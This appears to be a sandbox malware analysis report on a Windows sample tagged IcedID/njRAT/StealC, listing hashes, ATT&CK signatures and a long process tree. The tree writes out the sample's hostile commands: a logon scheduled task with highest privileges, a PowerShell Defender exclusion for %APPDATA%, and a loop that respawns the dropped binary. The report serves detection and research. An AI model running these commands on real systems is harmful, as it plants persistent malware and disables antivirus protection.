0f9a327a5b36c95f7915a7d781c73de38ee05162318d8499a1591c0140459052

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe
Size 6.4MB
Sample260819-c2ncbsvfpc
SHA256 0f9a327a5b36c95f7915a7d781c73de38ee05162318d8499a1591c0140459052
MD5 54a97e988810fea27cad74c8f18f5bc2
SHA1 dc372365768cdb3f9520de1073826447796a07cc
SHA512 fabfadcd3e324ed62705090aa65086d002eb50a79fdecbc74d72d14ee7c8d6004a193acd3465df3488aa47355d06d14be3e2a1e0d29b88d48c06688287a5eda7
SSDEEP 196608:s+hx9ekEDByQyVG/uzGNVyAl3K8fCGnbP3JzAT7:L9ePNSG/lVrl3KExL3JzAT7
TLSH
T13A66012BB26901E8E1BFD17CC9165907EBB2780543A097CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1888	powershell.exe
4936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe

Executes dropped EXE 2 IoCs

pid	Process
2304	PeerService.exe
860	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4228	tasklist.exe
708	tasklist.exe
2904	tasklist.exe
4728	tasklist.exe
3684	tasklist.exe
2608	tasklist.exe
4632	tasklist.exe
3648	tasklist.exe
1960	tasklist.exe
5068	tasklist.exe
2472	tasklist.exe
3464	tasklist.exe
4344	tasklist.exe
212	tasklist.exe
5064	tasklist.exe
408	tasklist.exe
4040	tasklist.exe
2956	tasklist.exe
3620	tasklist.exe
3548	tasklist.exe
4352	tasklist.exe
3996	tasklist.exe
3804	tasklist.exe
4908	tasklist.exe
3464	tasklist.exe
4072	tasklist.exe
4976	tasklist.exe
3924	tasklist.exe
2280	tasklist.exe
3404	tasklist.exe
2616	tasklist.exe
548	tasklist.exe
2716	tasklist.exe
1984	tasklist.exe
1536	tasklist.exe
3528	tasklist.exe
2728	tasklist.exe
4072	tasklist.exe
4440	tasklist.exe
1708	tasklist.exe
2352	tasklist.exe
2764	tasklist.exe
3524	tasklist.exe
2496	tasklist.exe
4944	tasklist.exe
2296	tasklist.exe
3924	tasklist.exe
1300	tasklist.exe
3176	tasklist.exe
4128	tasklist.exe
324	tasklist.exe
656	tasklist.exe
488	tasklist.exe
2476	tasklist.exe
2540	tasklist.exe
4444	tasklist.exe
4484	tasklist.exe
1284	tasklist.exe
1816	tasklist.exe
1536	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
436	cmd.exe
1604	cmd.exe
2148	cmd.exe
5024	cmd.exe
3724	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
2536	timeout.exe
2856	timeout.exe
3856	timeout.exe
4996	timeout.exe
4808	timeout.exe
3908	timeout.exe
2024	timeout.exe
4916	timeout.exe
4760	timeout.exe
452	timeout.exe
1200	timeout.exe
1508	timeout.exe
1672	timeout.exe
1580	timeout.exe
2504	timeout.exe
4136	timeout.exe
2268	timeout.exe
4668	timeout.exe
3864	timeout.exe
2268	timeout.exe
2772	timeout.exe
1960	timeout.exe
2808	timeout.exe
4080	timeout.exe
460	timeout.exe
4420	timeout.exe
2768	timeout.exe
4808	timeout.exe
4896	timeout.exe
672	timeout.exe
1624	timeout.exe
1200	timeout.exe
2728	timeout.exe
4624	timeout.exe
1736	timeout.exe
1440	timeout.exe
1916	timeout.exe
4472	timeout.exe
224	timeout.exe
716	timeout.exe
1008	timeout.exe
4432	timeout.exe
2100	timeout.exe
3052	timeout.exe
3396	timeout.exe
100	timeout.exe
4188	timeout.exe
3524	timeout.exe
2736	timeout.exe
1324	timeout.exe
720	timeout.exe
3816	timeout.exe
936	timeout.exe
2112	timeout.exe
3140	timeout.exe
3420	timeout.exe
3772	timeout.exe
3924	timeout.exe
3584	timeout.exe
1568	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3360	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1888	powershell.exe
1888	powershell.exe
1888	powershell.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	tasklist.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	548	tasklist.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	2716	tasklist.exe
Token: SeDebugPrivilege	4484	tasklist.exe
Token: SeDebugPrivilege	2728	tasklist.exe
Token: SeDebugPrivilege	3684	tasklist.exe
Token: SeDebugPrivilege	2496	tasklist.exe
Token: SeDebugPrivilege	4072	tasklist.exe
Token: SeDebugPrivilege	2608	tasklist.exe
Token: SeDebugPrivilege	4344	tasklist.exe
Token: SeDebugPrivilege	3620	tasklist.exe
Token: SeDebugPrivilege	2280	tasklist.exe
Token: SeDebugPrivilege	1984	tasklist.exe
Token: SeDebugPrivilege	4632	tasklist.exe
Token: SeDebugPrivilege	3176	tasklist.exe
Token: SeDebugPrivilege	4944	tasklist.exe
Token: SeDebugPrivilege	1284	tasklist.exe
Token: SeDebugPrivilege	5068	tasklist.exe
Token: SeDebugPrivilege	3404	tasklist.exe
Token: SeDebugPrivilege	2904	tasklist.exe
Token: SeDebugPrivilege	3996	tasklist.exe
Token: SeDebugPrivilege	3524	tasklist.exe
Token: SeDebugPrivilege	212	tasklist.exe
Token: SeDebugPrivilege	3804	tasklist.exe
Token: SeDebugPrivilege	5064	tasklist.exe
Token: SeDebugPrivilege	3548	tasklist.exe
Token: SeDebugPrivilege	4128	tasklist.exe
Token: SeDebugPrivilege	4352	tasklist.exe
Token: SeDebugPrivilege	324	tasklist.exe
Token: SeDebugPrivilege	3648	tasklist.exe
Token: SeDebugPrivilege	408	tasklist.exe
Token: SeDebugPrivilege	2472	tasklist.exe
Token: SeDebugPrivilege	3464	tasklist.exe
Token: SeDebugPrivilege	1536	tasklist.exe
Token: SeDebugPrivilege	4228	tasklist.exe
Token: SeDebugPrivilege	4040	tasklist.exe
Token: SeDebugPrivilege	2296	tasklist.exe
Token: SeDebugPrivilege	1816	tasklist.exe
Token: SeDebugPrivilege	3924	tasklist.exe
Token: SeDebugPrivilege	656	tasklist.exe
Token: SeDebugPrivilege	4908	tasklist.exe
Token: SeDebugPrivilege	1300	tasklist.exe
Token: SeDebugPrivilege	4728	tasklist.exe
Token: SeDebugPrivilege	488	tasklist.exe
Token: SeDebugPrivilege	2476	tasklist.exe
Token: SeDebugPrivilege	2352	tasklist.exe
Token: SeDebugPrivilege	2956	tasklist.exe
Token: SeDebugPrivilege	4440	tasklist.exe
Token: SeDebugPrivilege	1708	tasklist.exe
Token: SeDebugPrivilege	3528	tasklist.exe
Token: SeDebugPrivilege	2540	tasklist.exe
Token: SeDebugPrivilege	2616	tasklist.exe
Token: SeDebugPrivilege	1536	tasklist.exe
Token: SeDebugPrivilege	3464	tasklist.exe
Token: SeDebugPrivilege	4444	tasklist.exe
Token: SeDebugPrivilege	2764	tasklist.exe
Token: SeDebugPrivilege	708	tasklist.exe
Token: SeDebugPrivilege	4072	tasklist.exe
Token: SeDebugPrivilege	4976	tasklist.exe
Token: SeDebugPrivilege	3924	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 3724	4800	2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe	87
PID 3724 wrote to memory of 3360	3724	cmd.exe	89
PID 4800 wrote to memory of 2304	4800	2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe	90
PID 2304 wrote to memory of 1604	2304	PeerService.exe	93
PID 2304 wrote to memory of 436	2304	PeerService.exe	94
PID 1604 wrote to memory of 1888	1604	cmd.exe	98
PID 436 wrote to memory of 1960	436	cmd.exe	99
PID 436 wrote to memory of 2100	436	cmd.exe	100
PID 860 wrote to memory of 5024	860	PeerService.exe	102
PID 860 wrote to memory of 2148	860	PeerService.exe	103
PID 2148 wrote to memory of 548	2148	cmd.exe	107
PID 2148 wrote to memory of 4628	2148	cmd.exe	108
PID 5024 wrote to memory of 4936	5024	cmd.exe	109
PID 2148 wrote to memory of 2536	2148	cmd.exe	110
PID 436 wrote to memory of 4808	436	cmd.exe	111
PID 436 wrote to memory of 4484	436	cmd.exe	115
PID 2148 wrote to memory of 2716	2148	cmd.exe	116
PID 436 wrote to memory of 1564	436	cmd.exe	117
PID 2148 wrote to memory of 3116	2148	cmd.exe	118
PID 2148 wrote to memory of 2808	2148	cmd.exe	119
PID 436 wrote to memory of 4896	436	cmd.exe	120
PID 436 wrote to memory of 2728	436	cmd.exe	125
PID 436 wrote to memory of 4708	436	cmd.exe	126
PID 2148 wrote to memory of 3684	2148	cmd.exe	127
PID 2148 wrote to memory of 3852	2148	cmd.exe	128
PID 436 wrote to memory of 2268	436	cmd.exe	129
PID 2148 wrote to memory of 4996	2148	cmd.exe	130
PID 2148 wrote to memory of 2496	2148	cmd.exe	131
PID 2148 wrote to memory of 4492	2148	cmd.exe	132
PID 436 wrote to memory of 4072	436	cmd.exe	133
PID 436 wrote to memory of 1208	436	cmd.exe	134
PID 436 wrote to memory of 2504	436	cmd.exe	135
PID 2148 wrote to memory of 4916	2148	cmd.exe	136
PID 436 wrote to memory of 2608	436	cmd.exe	137
PID 436 wrote to memory of 3644	436	cmd.exe	138
PID 2148 wrote to memory of 4344	2148	cmd.exe	139
PID 2148 wrote to memory of 2372	2148	cmd.exe	140
PID 2148 wrote to memory of 4760	2148	cmd.exe	141
PID 436 wrote to memory of 3924	436	cmd.exe	142
PID 2148 wrote to memory of 3620	2148	cmd.exe	143
PID 2148 wrote to memory of 3336	2148	cmd.exe	144
PID 436 wrote to memory of 2280	436	cmd.exe	145
PID 436 wrote to memory of 3112	436	cmd.exe	146
PID 2148 wrote to memory of 4080	2148	cmd.exe	147
PID 436 wrote to memory of 4624	436	cmd.exe	148
PID 2148 wrote to memory of 1984	2148	cmd.exe	152
PID 2148 wrote to memory of 3560	2148	cmd.exe	153
PID 436 wrote to memory of 4632	436	cmd.exe	154
PID 436 wrote to memory of 4840	436	cmd.exe	155
PID 2148 wrote to memory of 4136	2148	cmd.exe	156
PID 436 wrote to memory of 720	436	cmd.exe	157
PID 436 wrote to memory of 3176	436	cmd.exe	158
PID 436 wrote to memory of 4544	436	cmd.exe	159
PID 2148 wrote to memory of 4944	2148	cmd.exe	160
PID 2148 wrote to memory of 2932	2148	cmd.exe	161
PID 436 wrote to memory of 3052	436	cmd.exe	162
PID 2148 wrote to memory of 3140	2148	cmd.exe	163
PID 2148 wrote to memory of 1284	2148	cmd.exe	164
PID 2148 wrote to memory of 4896	2148	cmd.exe	165
PID 436 wrote to memory of 5068	436	cmd.exe	166
PID 436 wrote to memory of 528	436	cmd.exe	167
PID 2148 wrote to memory of 4472	2148	cmd.exe	168
PID 436 wrote to memory of 3816	436	cmd.exe	169
PID 2148 wrote to memory of 3404	2148	cmd.exe	170

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-18_54a97e988810fea27cad74c8f18f5bc2_icedid_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3360
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1888
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1960
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2100
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4808
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4484
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1564
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4896
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2728
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4708
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2268
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4072
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1208
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2504
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2608
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3644
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3924
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2280
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3112
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4624
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4632
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4840
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:720
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3176
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4544
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5068
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:528
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3816
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2904
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2768
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3396
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3996
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4644
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3420
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:212
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4244
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3548
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4112
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4188
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4128
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2284
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:936
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3648
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4148
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4808
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:408
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4548
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3464
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4300
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3772
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4040
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1020
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2268
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1816
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3632
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:460
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2692
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3856
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4908
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2256
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:488
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3980
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3908
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2352
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3648
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1324
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2956
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3340
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2772
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1708
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3416
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3584
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2540
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3148
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2768
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1536
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4696
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1568
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4444
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4228
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4432
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:708
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3656
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2024
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3956
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1960

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:860
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4628
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2536
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2716
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3116
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4996
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4492
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4916
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4344
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2372
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3620
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3336
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4080
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3560
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4136
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2932
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3140
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1284
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4896
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4472
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:776
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1440
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3556
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:100
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3804
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:608
